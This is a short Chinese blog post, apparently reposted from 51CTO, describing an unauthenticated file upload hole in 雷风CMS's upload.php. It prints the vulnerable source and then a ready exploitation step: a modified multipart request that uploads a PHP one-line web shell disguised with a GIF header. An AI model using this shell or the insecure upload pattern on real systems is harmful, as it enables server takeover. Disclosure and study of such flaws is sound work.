雷风cms 漏洞

简介:

雷风cms默认是有一个bbs的, bbs根目录下默认是有一个upload.php
源码如下:

01 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "upload/2011/5/201105291829080676.gif) repeat-x;} 

14 </style> 

15 <body> 

16 <? 

17 if($_GET["action"]=="load"){ 

18     $uptypes = array('image/jpg','image/jpeg','image/png','image/pjpeg','image/gif','image/bmp','image/x-png'); 

19         $url     = "http://".$_SERVER["SERVER_NAME"]. $_SERVER["PHP_SELF"]; 

20         $url     = explode("/upload.php",$url); 

21         $url     = explode("/",$url[0]); 

22         $max_file_size = 2*(1024*1024); //上传文件大小限制, 单位BYTE 

23   

24         $root    = "upload_img"; 

25           

26         $folder  = date("Y-m",time()); 

27         $authnum = rand()%100000; 

28           

29         if ($_SERVER['REQUEST_METHOD'] == 'POST'){  

30             if (!is_uploaded_file($_FILES["file"][tmp_name])){ 

31                     exit("<script language=javascript>alert('Please select one file to upload(请选择上传文件)!');history.go(-1);</script>"); 

32                 } 

33                 $file = $_FILES["file"]; 

34                 if($max_file_size < $file["size"]){//检查文件大小 

35                     exit("<script language=javascript>alert('Max file size of $max_file_size bytes exceeded(文件大小不能超过2M)!');history.go(-1);</script>"); 

36                 } 

37                 if(!in_array($file["type"],$uptypes)){//检查文件类型 

38                     exit("<script language=javascript>alert('Type of the file must be \".jpg/.jpeg/.bmp/.gif/png\"(文件后缀只能是.jpg/.jpeg/.bmp/.gif/png)!');history.go(-1);</script>"); 

39                 } 

40             if(!@file_exists($root."/".$folder)) mkdir($root."/".$folder); 

41                   

42             $filename   = $file["tmp_name"]; 

43             $image_size = getimagesize($filename); 

44             $pinfo      = pathinfo($file["name"]); 

45                 $ftype      = $pinfo['extension']; 

46                 $fileinfo   = $root."/".$folder."/".time().$authnum.".".$ftype; 

47                   

48                 if (file_exists($fileinfo) && $overwrite != true){  

49                     exit("<script language=javascript>alert('同名文件已经存在了!');history.go(-1);</script>"); 

50                 } 

51                 if(!move_uploaded_file ($filename,$fileinfo)){ 

52                    exit("<script language=javascript>alert('移动文件出错!');history.go(-1);</script>"); 

53                 } 

54             $pinfo=pathinfo($fileinfo); 

55             $fname=$pinfo[basename]; 

56                   

57                 $root = explode("../",$root); 

58                 $urlpath = ""; 

59                 for($i=0;$i<count($url)-count($root)+1;$i++){ 

60                         $urlpath .= $url[$i]."/"; 

61                 } 

62                 $urlpath .= $root[count($root)-1]."/"; 

63                   

64                 $picture  = $urlpath.$folder."/".$fname; 

65             $id = trim($_POST["id"]); 

66                 if(!$id) $id = "picture"; 

67                   

68                 echo "<script language='javascript'>\r\n"; 

69             echo "window.parent.document.getElementById('$id').value='$picture';\r\n"; 

70             echo "window.location.href='upload.php?id=$id';\r\n"; 

71             echo "</script>\r\n"; 

72         } 

73         exit; 

74 } 

75 ?> 

76 <form action="upload.php?action=load" method="post" enctype="multipart/form-data" name="upform" onSubmit="return checkform();"> 

77         <input name="file" type="file" class="input" id="iFile" size="18" /> 

78         <input name="Submit" type="submit" class="iButton" value="上 传" /> 

79         <input type="hidden" name="id" id="id" value="<?=$_GET["id"]?>"> 

80 </form> 

81 <script language="javascript"> 

82 function checkform(){ 

83     if(document.getElementById("file").value == ""){ 

84                 alert("Please select one file to upload(请选择上传文件)!"); 

85                 return false; 

86         } 

87 } 

88 </script> 

89 </body> 

90 </html> 
很明显,无验证 过滤问题。
利用方法:
抓包
改包如下:
Content-Disposition: form-data; name="files"; filename="1.php"
Content-Type: image/jpeg

Gif89a<?
eval ($_GET[SB]);
?>



本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/577650,如需转载请自行联系原作者


相关文章
|
2月前
|
安全 前端开发 UED
除了wordpress CMS外,还有什么CMS值得我们使用?
作为建站的小白,前端不会开发、后台不会编写,用CMS来搭建网站是最理想的建站方式,经过线上的站长推荐,我认识了wordpress CMS,来自国外的一套CMS,使用上非常方便,熟悉时间不需要太长,也能快速进入建站的过程。
|
28天前
|
自然语言处理 安全 前端开发
什么是CMS?CMS适合搭建什么网站?
CMS(内容管理系统)用于快速搭建、管理和发布网站内容。它支持自定义板块,降低建站门槛。CMS分为独立CMS和SaaS CMS两种类型,主要功能包括角色分配、SEO优化、多语言支持等。建站流程包括确定需求、选择系统、购买域名和主机、安装系统、选择模板、扩展栏目、添加内容、上线和维护。PageAdmin CMS是一款优秀的建站系统,推荐免费试用。
|
5月前
|
自然语言处理 安全 前端开发
GDidees CMS v3.9.1 本地文件泄露(CVE-2023-27179)
GDidees CMS v3.9.1 本地文件泄露(CVE-2023-27179)
|
4月前
|
安全 网络安全 PHP
MaxSite CMS v180 文件上传(CVE-2022-25411)
MaxSite CMS v180 文件上传(CVE-2022-25411)
|
4月前
|
自然语言处理 安全 前端开发
Zenario CMS 9.2 文件上传(CVE-2022-23043)
Zenario CMS 9.2 文件上传(CVE-2022-23043)
|
5月前
|
安全 网络安全 PHP
Pluck-CMS-Pluck-4.7.16 远程代码执行(CVE-2022-26965)
Pluck-CMS-Pluck-4.7.16 远程代码执行(CVE-2022-26965)
|
开发框架 安全 关系型数据库
常见的CMS后台getshell姿势总结
常见的CMS后台getshell姿势总结
334 0
|
SQL 安全
某CMS代码审计(上)
某CMS代码审计(上)
99 0
某CMS代码审计(上)
|
网络安全 PHP
常见的cms
常见的cms
142 0
|
SQL 安全 前端开发
如何修复骑士cms网站漏洞
骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站漏洞可以获取网站的管理员账号密码以及用户账号信息.
281 0
如何修复骑士cms网站漏洞